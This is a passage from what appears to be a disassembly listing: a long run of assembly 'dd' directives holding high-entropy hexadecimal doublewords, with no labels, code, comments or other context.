0A4080032h, 9C1CA039h, 9803478Eh, 53859421h dd 0D7A3F0B8h, 83430705h, 715CCC3Dh, 0F90A7D03h, 0E84A80E2h dd 6850385Ah, 7C6A001Ch, 3E8F2D40h, 143D467Bh, 8EA3A60Ch dd 43A15300h, 0F35031h, 893D0DB7h, 3E19E01Dh, 4F4C150Fh dd 9FE80083h, 0A32F28h, 541CD422h, 31BF56E7h, 1400A57Ch dd 7CC5771Eh, 3E4E3215h, 7E802DAFh, 29977A0Ah, 1307282Bh dd 3F140819h, 0B11E07Fh, 4CA7CAh, 0C80D8A86h, 58B281Dh dd 0FF84D0A0h, 0FB013E78h, 6D2C1535h, 9270C3C1h, 346E0356h dd 18C5BA7h, 8BE022D0h, 1273BD00h, 538804D9h, 0F8C40081h dd 844B50ACh, 0A00A9E9h, 48D4A185h, 0AD8734h, 0D732D5D0h dd 82D80F2Fh, 92EE660h, 0A0821h, 1394A0A1h, 0B8180EA3h dd 0E80B9C00h, 93324A2Bh, 49080012h, 0BA28047Bh, 63759513h dd 7C75F200h, 295026F9h, 923D009Dh, 32AC4D8Bh, 0DA005351h dd 0D5902A5Dh, 0E194Eh, 0F230090Ch, 86C59E3Fh, 0D835FF00h dd 0B4B9283Dh, 0AF38004Eh, 20D94A21h, 161ECC32h, 34C05085h dd 9658ADCh, 78C7988h, 0EB604CD3h, 483DC321h, 7ECC24F9h dd 2100B112h, 1CF73EC4h, 23B880BCh, 34E2B403h, 0E3303172h dd 28183E2Ch, 20912407h, 18E4A0C8h, 393B1472h, 8F0C9F10h dd 440085Fh, 0FCCA11EEh, 0F8E53080h, 0F039F460h, 8EEC1C00h dd 82F3E810h, 30E476CAh, 0DC22E065h, 1C09D839h, 83538ED4h dd 0E044291Bh, 7C84091h, 0BC92653Ch, 0C00230A5h, 0FF02E181h dd 8F319844h, 0C9984017h, 27080049h, 5211108Ch, 341DE4E2h dd 519D1821h, 0F3220D80h, 989FF035h, 3DF17AF4h, 390672F2h dd 0E4F51CF4h, 0F723F600h, 0F9C8F891h, 72FA01E4h, 1CFC39FBh dd 0FE228CFDh, 1E0087Fh, 0E291E123h, 0C4E4E3C8h, 3900E572h dd 8EE71CE6h, 9843E879h, 0EFE9013Bh, 6518EA8Ah, 0ECEE81EBh dd 0EE1CED39h, 23804ABFh, 0C8D191D0h, 0D33AE4D2h, 0D504F477h dd 0D739D672h, 0D96440EFh, 0DB91DA23h, 0E4DCC800h, 39DE72DDh dd 0C01C30DFh, 0C223C122h, 0C8C39100h, 72C5E4C4h, 0C7391EC6h dd 0C907601Ch, 0CB91CA23h, 0CD020089h, 1939CE72h, 22B01CCFh dd 91F560B1h, 0B4C8B300h, 0B672B5E4h, 1CB71839h, 23B922B8h dd 0BB91BA00h, 0BDE4BCC8h, 39BE0072h, 0B8DC14BFh, 540043C9h dd 861BE882h, 0F0D0211Ch, 793AF050h, 4A280F44h, 0B762FC55h dd 84C39FCFh, 0C2991E8h, 10787406h, 0E234F995h, 132000Eh dd 754943BEh, 9390618h, 63780345h, 0E8747065h, 0FE559089h dd 0A838003Dh, 0DC104420h, 68005456h, 1C729CA1h, 480A45h dd 5B706165h, 5C5EEC51h, 0E726C874h, 100D044h, 754F450Ch dd 66CC0074h, 6D65044Dh, 7901726Fh, 4815DCECh, 17305C56h dd 90B87540h, 60BEA87h, 0DD6E4945h, 0F9E36EBDh, 9058D8A0h dd 4839EFE8h, 10C0766h, 6EF06574h, 7206C61h, 58AFF8D8h dd 54734064h, 88032BC4h, 6C475A12h, 0FC57E808h, 604000D4h dd 100924EAh, 0CA020EA4h, 58B015B8h, 78DA80ECh, 70850Ch dd 4402450Ah, 79427669h, 0BB805A06h, 0DE4C906Fh, 1D0AF16Ah dd 52C0C0C9h, 676E6101h, 602B6543h, 0ECCD9F5h, 0BF0C48F2h dd 764F2800h, 6C6609AFh, 0A5776F00h, 5C7BBC74h, 1A4E823h dd 0C245D64h, 0F8614D02h, 0B3019868h, 59571490h, 0A0D7A158h dd 0EE427018h, 1B4E6E9h, 69196076h, 0F44F1D64h, 7AC1AB90h dd 84F40E6Ch, 2CB789F0h, 0DA5C025h, 0CE1EC42Bh, 8A6CC10Eh dd 11D04C61h, 0F95A001Ch, 7D0840A4h, 6E245505h, 90012764h dd 0C8585E74h, 5897EBD0h, 8A00FE88h, 6F501D60h, 850ED93Ch dd 0BC5CD02Bh, 0E50C12C1h, 58D1F930h, 1EA43E8h, 70744D73h dd 0F65B2C11h, 0D4A7FA8Fh, 4345100Dh, 0B0E8BA6Fh, 0DCD88A28h dd 14C14ADCh, 10A0CCCEh, 63E941F9h, 177338F4h, 8956AEh dd 8E926168h, 0E807BCA1h, 0C21E8BF7h, 0C78C1750h, 5078072Ch dd 60799A72h, 1FE4656Ch, 5C959001h, 4340F8B8h, 20E0A80h dd 61745345h, 656B6301h, 9C900A81h, 0E843F6FCh, 910900BCh dd 0E741270h, 0F2396C6Bh, 58F4870Ah, 234045F6h, 156B8C8h dd 730D6148h, 0C450A094h, 0CD078F5Dh, 0A45C4E40h, 0C582C8B0h dd 107D0C65h, 6FC0465Ah dd 8764493Eh, 0D960B02Bh, 431B0E39h, 0C0C26204h, 0FC734272h dd 0C9012BDh, 0A1B60E57h, 0A40F00BDh, 0B266ACA0h, 0A6393Eh dd 0E903FF69h, 0E7F24F2h, 77535432h, 0C1650013h, 661F10EAh dd 4EF3F700h, 98DF085Dh, 13060001h, 146AB55Bh, 8F0078DEh dd 0A1E5B2CBh, 0A890E0h, 9561DBE8h, 41E0FA4h, 0BAC35B00h dd 10A93629h, 17420020h, 0B1743A62h, 6000D325h, 0BA8F892h dd 83E79h, 0C60F7889h, 4F10FC45h, 0BAE54D00h, 0E8B642B0h dd 0DD5500BBh, 2BC256ADh, 221C6925h, 3AFB028Ch, 51530064h dd 0D419AADEh, 2A17078Ah, 0D03FB2F6h, 0E95AC393h, 6F00787Dh dd 0E3C64B7Fh, 1F82584h, 0FF3C6BF3h, 0F84E6A1Eh, 5C3C8A02h dd 85F5803Eh, 0CFE1B88h, 0B8C50046h, 35119750h, 0E2002E0Eh dd 6A0F10A8h, 23C03h, 884F0675h, 0C97FFF85h, 77C77C0Bh dd 20680E9Ch, 0AFB9FD2h, 905F24E0h, 974E003Bh, 8D5705F0h dd 0B901560Eh, 0BB7FA74Ch, 2C108AC7h, 3E5C78A0h, 8080953Ah dd 0DAACE805h, 0E93E0845h, 50330173h, 5264F0DCh, 1E48F860h dd 40FC96F8h, 416D2B0Eh, 401DB297h, 0FFF7EEh, 145A8FBFh dd 0A51983h, 0B6F41CECh, 0FA0E3816h, 1ADD1E01h, 0A0EB080Dh dd 0C4DFCh, 529D6590h, 0F0452926h, 38911A01h, 88EAEE10h dd 1C3C4D0h, 0C2324FABh, 0CC9013BCh, 0C70129A1h, 30A73997h dd 0B8CC60D0h, 0C8F0FFFEh, 0D7140E89h, 764090C3h, 4B34D66Fh dd 70F4CA3Fh, 2B741100h, 3FF1E9C1h, 0AFA61C42h, 0C4C640D1h dd 21335DFFh, 2276FD1Ch, 0EFF2EE80h, 3CB0F3h, 0A643164Ah dd 573FFC62h, 0AA77560Eh, 0F7E38073h, 173CFFD1h, 0ECCA9Bh dd 29384432h, 5E098C47h, 0D853515Fh, 4ACB0029h, 5D7F04Ch dd 751F54C1h, 0F6404101h, 19962DAAh, 655A00D9h, 0D66B7817h dd 5B001A11h, 865C4A63h, 6DD734h, 0C031CB0Ch, 83326809h dd 0D9633700h, 0F3D2E124h, 7F876A6h, 0FF460B8Ah, 0A3067080h dd 1E000A08h, 8303777Ah, 0DAC3E8h, 0FA202157h, 0EA01C23Ah dd 0D00129ECh, 4858D874h, 9C20A750h, 5F151FA2h, 5EFF4088h dd 0CA41EF89h, 0A40048FAh, 1226C446h, 7C509C9h, 5325F254h dd 0AFB0A0ECh, 0F5727B5Ah, 182C8C00h, 66B542BFh, 0B49000ACh dd 5DD950CCh, 0FB00F2F8h, 5761F0Eh, 8B9BBBh, 204A6C26h dd 18A3390h, 4B00D57Fh, 0C81DC4D3h, 208D613h, 0C6064FE3h dd 0AD401C04h, 0A0FB02Ah, 0EFBAF520h, 5480DC8Dh, 0BD04FC12h dd 0DC344825h, 75A66900h, 9C644E10h, 1BD52800h, 14E38029h dd 2EE73B6Fh, 9DFBE600h, 0C697A7E4h, 8C5E880Fh, 5D8980C1h dd 66D42Fh, 3CEAB91h, 487DDD24h, 4A18FC0Eh, 690C0E1h, 2F027F4h dd 0E4F1B50h, 50E0EBB0h, 320310ACh, 7DAA1425h, 13DBC88Ah dd 3C05002Bh, 219663E9h, 0C00FD31h, 0B05618E8h, 0E4EC88FEh dd 0EB450030h, 5752D1Ch, 0DA0031C0h, 525DE8ACh, 7E99Dh dd 0BB0AFD3Ah, 0C8256034h, 0DF0FEBFEh, 61E414C4h, 2E903089h dd 382965C4h, 0F726B4h, 751EE073h, 0B1BE51DCh, 5A1BA601h dd 904AA48Bh, 273C0h, 7D80DB31h, 0A9AEB67h, 0C1CAC700h dd 24D10104h, 2BA4009Ch, 0F0CCB87h, 0AAFE20B0h, 68520E00h dd 0BFF47D3Eh, 8A360089h, 0E806B2E0h, 8700516Fh, 9E8B5931h dd 76B59FE9h, 6DC10015h, 0A842274h, 3C707230h, 37773903h dd 0D848DB6Bh, 1DA701D4h, 43C0B661h, 38052C3h, 70E49491h dd 0D200B13Fh, 2C72BC53h, 106333Bh, 10FF1277h, 0C80C80A0h dd 0A3007C48h, 551C2667h, 865874h, 0FEACDC4Fh, 88DF1624h dd 7CF8C100h, 52733C9Bh, 85C0081h, 8D0C0E75h, 0C200DE34h dd 0FEB60F06h, 2402A3h, 6062D29Dh, 0C863C612h, 88160800h dd 0EB11642Dh, 445D0F22h, 5FADCDh, 6E198763h, 9E29121h dd 3C29E700h, 1175991Ch, 0B514502Ah, 405858E8h, 962CD300h dd 29DC4D03h, 0EAD13Bh, 5D8D9FA1h, 41F6D0h, 0A42F1399h dd 80E6530Ch, 44F91600h, 5528B074h, 0C12A00EAh, 0D075580Ah dd 0D3002DB9h, 0F723EB04h, 19AD43h, 1574800Fh, 48831B26h dd 5BFDE101h, 0F166E8FCh, 0B022F8h, 884E412Dh, 0F2C35A06h dd 8D09D300h, 595CAF75h, 12C1032Eh, 1084BD03h, 0EC163C91h dd 0E21EBC92h, 3A80D94Ch, 7657872h, 28FC4Eh, 3B448F1Eh dd 0DD80F789h, 75D00900h, 144D8DCAh, 0F12900AFh, 0DEE02591h dd 727212F8h, 78043900h, 0B0060A76h, 98B10030h, 0B7AAB50Fh dd 1524108Fh, 3D1D88h, 0E0953D85h, 179360h, 7902C009h dd 0E8D8F70Eh, 8700ED7Eh, 5DE99F96h, 7B67B94h, 0EA753258h dd 183DB0CEh, 0E000BA53h, 150189FEh, 3BD10F22h, 2F1DD429h dd 40241F70h, 5B44FDC2h, 96001E52h, 3142EB02h, 2191C9h dd 0E98215B0h, 0C8A240ACh, 350009FCh, 273624BEh, 0C3760595h dd 931DA9AAh, 0F0719DF0h, 6AD6DB00h, 0EBE5AEAFh, 174A000Bh dd 982347Ch, 0BA4F74F6h, 4D3B7EC0h, 37748E0h, 20CF013h dd 0B28660D1h, 0CBF27E60h, 99E32903h, 88F94F6Fh, 5FB643h dd 44504120h, 4525C740h, 36A9E005h, 0CCC00418h, 0B7FCA8h dd 2EB3A01h, 0B36ECC70h, 3B47EF00h, 0CEFF3F74h, 45790Eh dd 1F02C838h, 90129F46h, 0A398037Fh, 84DF51Fh, 4B38343h dd 7349F0B8h, 139F206h, 0BA2576C2h, 0E0C5D752h, 4131B75h dd 0E0015C3h, 0C68BA688h, 3BA02BEh, 0F8833D2Dh, 0B8117840h dd 53130F00h, 8FFA4350h, 5F20089h, 3DE8CF46h, 4F3F9272h dd 0F96200C1h, 0D95550C3h, 5C9F908Ch, 5D0959F7h, 62004A11h dd 247E0B0Ch, 0F1A96F00h, 63B86164h, 4FC30120h, 0C19E194h dd 0CEC28309h, 98D730E8h, 517B2Eh, 1F034467h, 0CBDCEC6Dh dd 5000697Ah, 87911384h, 1C89D1h, 48547B38h, 90C47881h dd 50E23F00h, 4BDFE3BFh, 0C3A800A4h, 3EC09773h, 2C00BBF0h dd 4F511002h, 7E098C53h, 5AD100D3h, 2BC1816Bh, 0E0073BCAh dd 1CAC247Dh, 75F8E370h, 6E4D0046h, 8D0DEEB8h, 0EF00F685h dd 0EB7B5198h, 405D0Ch, 3860C072h, 437CC23Bh, 3000097Dh dd 8BFCDB03h, 5444C9h, 9D66CAB5h, 2A95AC4Bh, 39A94700h dd 0D8E03A7Dh, 2DA80092h, 8D280EEBh, 0A1016395h, 882F91E4h dd 11D45E8Fh, 0DC040094h, 0DD340C92h, 2500D87Ah, 44073C0Dh dd 0E429DF83h, 1820057h, 0FBE05A58h, 0BD011179h, 35B961B3h dd 16CCB140h, 0EB064CEBh, 5A260500h, 890ECA95h, 925E1100h dd 0F01C7404h, 0BA560048h, 45C61310h, 0B21CECFFh, 7341187Bh dd 3CFA0C4Dh, 0E8147E8h, 0E04103F9h, 1E8FEA0h, 3A07C9EEh dd 69C0B70Fh, 36E58060h, 123C00C3h, 6028F2D2h, 320081EAh dd 0D116C203h, 0BE801h, 0D2D60C57h, 0DB78830Ah, 0D8060400h dd 0BF673435h, 8B20041h, 8C9B18DDh, 8A7801A7h, 8E9E5E00h dd 0A4CB80C0h, 70AA004Ch, 29577149h, 0E7FE78BAh, 0A5DA6900h dd 46679D21h, 95790066h, 253C3359h, 0D53076CFh, 7542EE4Eh dd 0A780015h, 54F8A10Bh, 1C3FD441h, 0C1F7926Dh, 387BB807h dd 81D6A4F0h, 84470024h, 0C72CEF62h, 8A03C9DDh, 0DE28145Fh dd 0A6C8A0E4h, 83C10004h, 5CF003E0h, 0D9F8CC21h, 70BEB407h dd 7E0D664h, 85F6CEh, 1A21F549h, 520190B9h, 0C6F10F28h dd 9E8CFA38h, 34C04FB0h, 0A0CBBBD0h, 6C7D62h, 0FEE78566h dd 15FDD80Eh, 1A48A700h, 4057AB13h, 7FE00ECDh, 0E6C0048Dh dd 0DCC52534h, 0BFB15603h, 98FE7D01h, 86820Fh, 373AB5A4h dd 7727A116h dd 26167E79h, 200E0C05h, 0DEF9800Dh, 18FB06h, 0C7FC6C67h dd 465C3BF0h, 7732FE00h, 82481562h, 0E7E0E90h, 660018E6h dd 0FE4E5C03h, 7501417Eh, 4D2CF767h, 3A704981h, 99A0004Ch dd 0F169ECFDh, 3F7C6D62h, 8D67D10Eh, 2BF2403Bh, 3A4D40F0h dd 0F9009FB1h, 0C36266BEh, 8100240Ah, 7564D9EEh, 228589h dd 0BAFD887Fh, 4D84B34Eh, 7C492C00h, 694214A8h, 773C0092h dd 8E5743E7h, 1BFA916Ch, 0F42E467Dh, 0B101388Bh, 0C6FFC461h dd 6006E8h, 0E8EC6608h, 50A15683h, 7FCF8ADFh, 5CF8941Ah dd 0F6690045h, 0E2A4B14h, 0E9860208h, 7B0A5A3Ch, 0E5BB0EC0h dd 0B12E3D00h, 7C054C3Ah, 122D0011h, 0C3560A07h, 28F22AF7h dd 9BEF7D03h, 803EF65Ch, 66F44Dh, 0E88EACBAh, 25962355h dd 400E7B8h, 610A7775h, 8129FFh, 2CBDF645h, 489B6B28h dd 37576400h, 50D6DED8h, 27903B53h, 0B55A1080h, 0CCA88C05h dd 57E0C100h, 14921E02h, 0B94B076Bh, 80502CB4h, 0F14DC332h dd 9300117Dh, 61745A86h, 4C9CC8h, 1B31FE4Ah, 0CCF45DBCh dd 103B8C00h, 150B6C72h, 8029001Ch, 0DF67EB40h, 0DA031E32h dd 20C33FDh, 1620D86Ch, 3B8A76F8h, 9F00B099h, 0E80BBC64h dd 24009EDBh, 3B0A1956h, 1E479841h, 120EB64Ch, 0C11F75h dd 0AF96916Eh, 0DD000158h, 0D1D4611Ch, 7218F704h, 59C30050h dd 33879F07h, 0DD1F1644h, 4F813208h, 0E8148170h, 11B57F0h dd 0ABD8845Ah, 0DC47A0C1h, 5C002B99h, 73E99B72h, 0DC159Ah dd 1023B9B5h, 813DA827h, 8E565E0Bh, 0E18D804Bh, 76A68A7h dd 348DB44Eh, 51F4C012h, 0DD76D343h, 501A979h, 88C74945h dd 0C3D4FF04h, 651600DEh, 17A3A209h, 390024D3h, 8B507C92h dd 126651h, 71026A2Dh, 415795BCh, 8A058600h, 52EB5FE4h dd 63FE0278h, 592E51F8h, 5CA7DDE0h, 8037733Fh, 101F05D9h dd 3FBD06BFh, 2F00C933h, 89715ACBh, 0F2F60D93h, 770C1D5Ch dd 8136D303h, 0F04CB96Fh, 2CC3990h, 9978F068h, 8C4208C6h dd 0D8001CD6h, 0BBFC2CDBh, 65600B1h, 1C6514BEh, 440EBF30h dd 606A550Bh, 503EAB9Ah, 51E6B9h, 1E5E5F4Ah, 8485343h dd 125BCD00h, 0F4910E59h, 7EC6006Bh, 0C4234A3Bh, 38032874h dd 0CBC79087h, 2D06E843h, 0A0C00FAh, 0AE750DFBh, 74034461h dd 5E2C9022h, 7B99805h, 0F9640EB4h, 988194A8h, 0C8A43206h dd 8300D768h, 713152C0h, 0EE2522A5h, 2A53001Eh, 7508F073h dd 7A00B19Ch, 176C9562h, 0E9772Ch, 67B024CCh, 96B8BF2Ah dd 90A5A600h, 469F4887h, 13D61F2Fh, 7281BFCBh, 0B84078CCh dd 8043F034h, 58D048h, 8E2938E3h, 50FF1204h, 22FB39h, 0BE43D47Ah dd 0C325B959h, 1E376400h, 0ECB74489h, 4B3F261Ah, 686A062Eh dd 0E538520Ch, 0D8948082h, 43B8046h, 0CA3500D6h, 3EB15B6Ch dd 17029822h, 5E386DA1h, 9C3060FCh, 0DF90C6h, 0BBA2729h dd 0E71A6B09h, 0EDE24B07h, 0EC906813h, 35C64Eh, 0FD730490h dd 0D00564FAh, 806A263Ch, 50304253h, 7AF9C68h, 8F36DEEh dd 0AC03E1C0h, 4CE1FE13h, 0DBA8D52Ch, 0F8FC23F9h, 0CB03BD8Eh dd 8C31909Ch, 0A1D8C84Ah, 9EA400F0h, 496F7121h, 0F73B281Ah dd 0AA9C07B2h, 80BB8822h, 0A630B58Bh, 826D090Ah, 2DFC3D60h dd 9465B000h, 0E883FEh, 310DD21Bh, 2213F330h, 0F63AD003h dd 9BF04A06h, 3239835h, 1E44008Ah, 0D3472CFFh, 2001A31Ah dd 0BD7F16F3h, 0E8F85462h, 8E4407DFh, 70D75C92h, 4325FBADh dd 17FCC00h, 0D27ED83Bh, 5F5601E9h, 5ACEC712h, 418470AAh dd 1690553Eh, 8340A30Fh, 24738A2Eh, 0DC4900A5h, 58FE255Fh dd 280097C2h, 83064D9Ch, 5E902C3h, 0BA2A6D47h, 8DA3008Ch dd 0FCAC2977h, 0BFC42500h, 4C0F7531h, 0A9980EBAh, 0A0F37833h dd 26019CCFh, 113C04C4h, 0F330AC89h, 37FA2h, 4FB4FD56h dd 0C5A19D4Eh, 59F63071h, 80047400h, 37C80E75h, 517BCCh dd 0FB0F94Ah, 0AB92168Eh, 62D09100h, 26176F78h, 697660h dd 47D49339h, 45101A67h, 0C59031Dh, 0C0A5798Eh, 444FCEEh dd 0DC7D65h, 0F22CD222h, 9424DA70h, 1D00A2FAh, 2DA5277Dh dd 0FCAE1004h, 0C481007Ch, 0E35097A8h, 90179DBBh, 79005ADAh dd 0D6D07A85h, 0AC7624h, 0D41A310h, 1BE0BD81h, 75002FECh dd 20D86B1Ch, 74FD44EEh, 0A0D40B8Bh, 4F0FE825h, 70758A67h dd 18A1701Ch, 3469C3Bh, 2C1D298Bh, 5FCBA839h, 0F8A50090h dd 2B0914EBh, 4A00359Dh, 29216AC5h, 77915CB2h, 0D0181244h dd 0FE150042h, 1944182h, 213F1203h, 0E87160BBh, 0A2BF11h dd 4E44D805h, 829AD415h, 5D1AF600h, 3F216791h, 0E871C4h dd 3AD8CBB3h, 58D0A993h, 3140B00h, 1AD72EFFh, 65641FBFh dd 0C2B54051h, 0ECA19F21h, 408A4800h, 96930452h, 3DF178A9h dd 8D8098BBh, 604BF895h, 1900B383h, 0D862FA2h, 98CF0C89h dd 0AC8C3C9Fh, 93800439h, 64B026C8h, 6004BB4h, 2ABD9E7Ch dd 4410B8h, 9DFA05BCh, 0C40DC054h, 0F4068900h, 4286C8BDh dd 8D2A00CCh, 6A50374Ah, 8800AA8Ch, 0B00B5D49h, 3B7303C9h dd 0A983F1DEh, 0AF142DB6h, 0A42E01A8h, 11890900h, 0A5B35AC0h dd 244C0002h, 48D7E844h, 8000A136h, 0EBA4B7ABh, 1A6E82h dd 401F3F5Eh, 56658C9Dh, 417A2F07h, 0EB001558h, 0FE4B6A38h dd 3DCA79A3h, 0A83A5468h, 20102500h, 0B32EFD3h, 22DD4800h dd 8D41C3DBh, 7B5A0370h, 0E32E4C99h, 51B8D7D8h, 0DF03C97Dh dd 0A2D66184h, 12BBF993h, 1CEEDBE0h, 0D269ED2Ah, 80D31CF1h dd 21D7414Bh, 28E47672h, 0B7F4102Ch, 0C02C6E09h, 0A79EA3h dd 0C76D146Ch, 78D5C3AEh, 85727D00h, 9CD47ECAh, 0F6FF981Dh dd 0D1AA00ECh, 9819DBCBh, 7F00AC65h, 544F090Eh, 7B5299C8h dd 8630012h, 0E2E48DA9h, 8A009348h, 735D1047h, 0DBE1A7h dd 906AFBE8h, 1EBF020h, 83433D1Ch, 97F0600h, 0DD343Bh dd 287ABADCh, 1F0EF175h, 0C8B1702h, 0E04FE091h, 1C55FC66h dd 43C0643Fh, 892BEB7Eh, 8ED775E8h, 1A7D0900h, 213DDAF4h dd 47541D64h, 0C22DC24Dh, 80F56217h, 0E70C5260h, 4B3E04DDh dd 803CCF2Bh, 70D033ABh, 0C7390B2Eh, 71F95400h, 1F79C5A9h dd 0C05B2453h, 0B744A19h, 0D8000F06h, 1501EA83h, 2EB1072h dd 28F8A123h, 0C440778Fh, 260007DCh, 0C5040F27h, 619333h dd 0B03AC748h, 0EB97ABA9h, 5428AC00h, 0E95A5385h, 2673008Dh dd 33E02F08h, 658C61Ch, 1F2C007Eh, 96744272h, 243900E8h dd 8B898C0Ch, 970044D3h, 20DEB27h, 4C74A119h, 0FF0017F3h dd 4EA3D675h, 7EEE46Ah, 0ED28E81Eh, 3F0EEC80h, 100BF0h dd 0F82AF47Dh, 50E42DD9h, 0E07670E1h, 0BCACA100h, 0F64D514Ah dd 0C49048h, 87AA8E5Dh, 7988F447h, 0E0447400h, 15498BB7h dd 18207A5h, 8068D1C2h, 0BA45BC32h, 74E38801h, 8627485Bh dd 710BDCh, 64161E80h, 0D553B35Dh, 0EAC87900h, 0BD863E69h dd 0ED481FC4h, 5A4EC0C2h, 53885942h, 620055F6h, 0EB4F0E3Ch dd 1FC391h, 37F333D7h, 461447F2h, 28213500h, 2FEB1684h dd 1250062h, 201DD982h, 3901B0A5h, 4B2C303h, 6870506h dd 30100708h, 0B400920h, 0A4810C28h, 16760E7Fh, 0EBE8A007h dd 0EA90122Ah, 995634h, 0C4A829CDh, 5725FE98h, 8E17F200h dd 6149A65h, 11480BFBh, 840C2884h, 0AA39103Ah, 7B838002h dd 0FBD6114h, 11B50022h, 62D25604h, 12FA54C4h, 18738B05h dd 2280EA84h dd 0E20C0EBEh, 5C8C7992h, 430F077Dh, 0B3EE0FE7h, 0CF61F7E0h dd 163FFEDBh, 70E48FA6h, 9684E0E8h, 0D998A4h, 14B8FC66h dd 25DA08A1h, 8B378D00h, 2E0A9565h, 93900B9h, 147A67E8h dd 450916A6h, 18121B4h, 0B8AE8B21h, 803AA930h, 4724320Bh dd 1001F57Ah, 0B5FA84CCh, 30DD0DCh, 0A257A4D4h, 0C0B8F564h dd 46B04588h, 0BC2CFE0Fh, 4810A18Dh, 0ED703CDCh, 0EBE262h dd 9896995Ah, 0A9849C0Ch, 0A05C3Bh, 0A8438CA4h, 0FE10AC23h dd 1027CCAh, 94BCA1C2h, 0C4B4425Ch, 110035CBh, 0D753772Fh dd 0F3884Eh, 0B65F4CE8h, 0CBB1E0B8h, 68304B00h, 0FB753F0h dd 0A45D00BDh, 3CF3E4A7h, 0E80091FCh, 0C283D0E0h, 0CFB0FDh dd 16720839h, 0D7421D74h, 22730A00h, 0E3EAC7C5h, 553B008Fh dd 0E5657F45h, 16739A30h, 2BF5830Fh, 0BC75C07Dh, 0F0FCCCh dd 0CF24A121h, 56AC14B1h, 80B5C43Dh, 547F15BDh, 59489Ch dd 65CD7E06h, 0FA21DB4Bh, 2EC82C0Eh, 0DC56A096h, 163E8E1h dd 7EA62F61h, 2023517Ah, 9400F86Ch, 78CE84D2h, 0E65E3229h dd 4F7F006Ch, 39A025B1h, 7200A32Eh, 402150A4h, 101BE9h dd 0E8A75A28h, 7F30B3BFh, 8C82C700h, 0A4F60450h, 70B75A8h dd 14588978h, 0A751B0F3h, 18E898F5h, 12757000h, 380BA2A8h dd 50220B77h, 29821155h, 56402039h, 96168274h, 1C0025DBh dd 9AD5895h, 3944015Ah, 0C40C60Ah, 54A7E401h, 664D7600h dd 56A1AA4Ch, 511A3EFCh, 0AEA22F83h, 0BE01346Ah, 8985D24Ah dd 3FB62A4h, 88984296h, 7E2450A8h, 0B0001A8Ch, 0FF6C20BDh dd 0AA98BFh, 0D9457F94h, 4D8D73E8h, 0B77158h, 0C8A392D0h dd 1C2FD50h, 91CCCA13h, 0F8E50809h, 0F2000C18h, 0D8B888D4h dd 1D800BD3h, 0B914FEh, 645A67E1h, 0BE00949Ch, 0DE7960D9h dd 397C46Ch, 3C802766h, 0BFE02684h, 1400CA81h, 3DF3C28Ah dd 854C44h, 29C1AE68h, 0BFD74EF7h, 0F603307Ah, 8A05127Ch dd 0E181C00Ch, 0D200722h, 0A0E97210h, 0CE2C396Ah, 8001261Ch dd 5027940h, 0C98349h, 0C0DD41FEh, 0EB204EBh, 8A13D4FBh dd 4A38CA1Bh, 0C28B802Ah, 5EE25Fh, 204B3CF6h, 0B43D8033h dd 0CB169200h, 48F30FF2h, 4AD60089h, 0BC696185h, 900082C5h dd 1EB1C933h, 145507h, 0C1780AAEh, 0B0DA643Ch, 0B4735800h dd 82F093FAh, 0FC1200DEh, 404A4F66h, 77006914h, 6AC6C811h dd 0F650CB6h, 0F3E2F052h, 8050BB64h, 745ADE5Dh, 17E4EC00h dd 71A6D62Bh, 12C0F02h, 8EA01572h, 3947CEA8h, 0BC74900h dd 0ABDC7516h, 0E8E4003Ch, 0BC777D2Ah, 6C078D24h, 0ACBE0A60h dd 6C78760h, 0FE990109h, 0FC469FEEh, 89FAE451h, 0DB0EF772h dd 0FE028D30h, 0FCB6641h, 0E1E40E15h, 0FFE20781h, 51DDF203h dd 0DC0B7E52h, 800E8C1h, 504ED6D1h, 0B3D76Ah, 95670194h dd 9F78837h, 732AF500h, 5EF9C30Fh, 0C5540008h, 66AD9C2h dd 33E0290Bh, 25EBF603h, 0D935448Ah, 7C85CE8h, 0D82A2602h dd 88430E32h, 0F3E6F547h, 0AB994993h, 0E4E43107h, 750004CBh dd 2C683EEh, 12D0D2FBh, 0F2A8E0Ah, 0CCC02579h, 685DC0E1h dd 82A45400h, 189513Bh, 8550759h, 50537E36h, 7BD5F5E8h dd 32122E0Fh, 0C33AE029h, 855DE5h, 0C8AAC264h, 72C750D9h dd 0B14BA00h, 2B9574C6h, 128107C4h, 4164ECB8h, 0F8A8E68Fh dd 4C00B93Eh, 1BBA299Bh, 1FA6B22h, 0E3119538h, 0C452E7A2h dd 1C09C824h, 80F14476h, 0FBA2C80h, 178A391Dh, 0F2A20773h dd 0C02E0413h, 0A7F33C0Eh, 19904A00h, 1084F4ECh, 0F1DFA2Fh dd 37A4F5F2h, 44580860h, 0F4ED681Fh, 0FE3DA1DCh, 0F8D2035Dh dd 0E85B3287h, 61A2011h, 0B150FCC8h, 1E00A23Ah, 650A6E6Dh dd 380E4A4h, 344F2822h, 0D1D10408h, 0AD29D48Ch, 0E2FF60F9h dd 0BC7BF800h, 364B8927h, 25430066h, 5D44ADA4h, 0BA011A8Bh dd 5AD34598h, 14F41FB2h, 103F0EA5h, 0BA9DFC23h, 50A1Eh dd 0F4117E62h, 0A307B0BAh, 14C0FAF8h, 86FB1F60h, 68FC0006h dd 10C221D0h, 79B0B8F4h, 80BAC93Ah, 2753850Bh, 0DC1D72h dd 491B1039h, 0E20C21F9h, 7F65F001h, 3D69189Ch, 8F2AD8h dd 163A2793h, 0CB386853h, 0B3411200h, 5B30C9C4h, 61100ACh dd 642F6D0Eh, 0A198B752h, 0C31E5978h, 2C802003h, 0F2D4AC9Ch dd 61223E02h, 470C9480h, 684C5070h, 0BE24A500h, 5448C7Dh dd 411C1F20h, 52B8804Dh, 380F9410h, 8B744BF6h, 0CE3A3500h dd 19BF842Dh, 0E07300B8h, 0BCBB5310h, 0F901B552h, 0E4031764h dd 77E8BAC1h, 73F603A5h, 5DEBD069h, 8004CC91h, 977F3CCAh dd 0FE1A7B41h, 0A11C00F0h, 21BF4CF2h, 5B00E898h, 0B730A323h dd 0B3D8FA5h, 0A5A0618h, 5F547480h, 92031340h, 6B27F5B9h dd 6CE6C078h, 3233000Eh, 0A9BD642Eh, 477D1FD4h, 69447400h dd 78466B73h, 53F23E72h, 63617083h, 50D0458Dh, 0B8E49732h dd 58E4FD00h, 11B06437h, 0A8480324h, 0A06F26AFh, 988844C0h dd 91948901h, 0DC329031h, 0F02ED3EFh, 58448022h, 1407B3F4h dd 0A7705191h, 0B868A3B4h, 0C41360D0h, 580031F2h, 5099E39Eh dd 1F12F011h, 40912E48h, 38304440h, 173DFC89h, 69E024C8h dd 81CC6401h, 44DC5E20h, 89D00618h, 4E781310h, 406E080Eh dd 2C322711h, 0F0A6F880h, 3FAEDD70h, 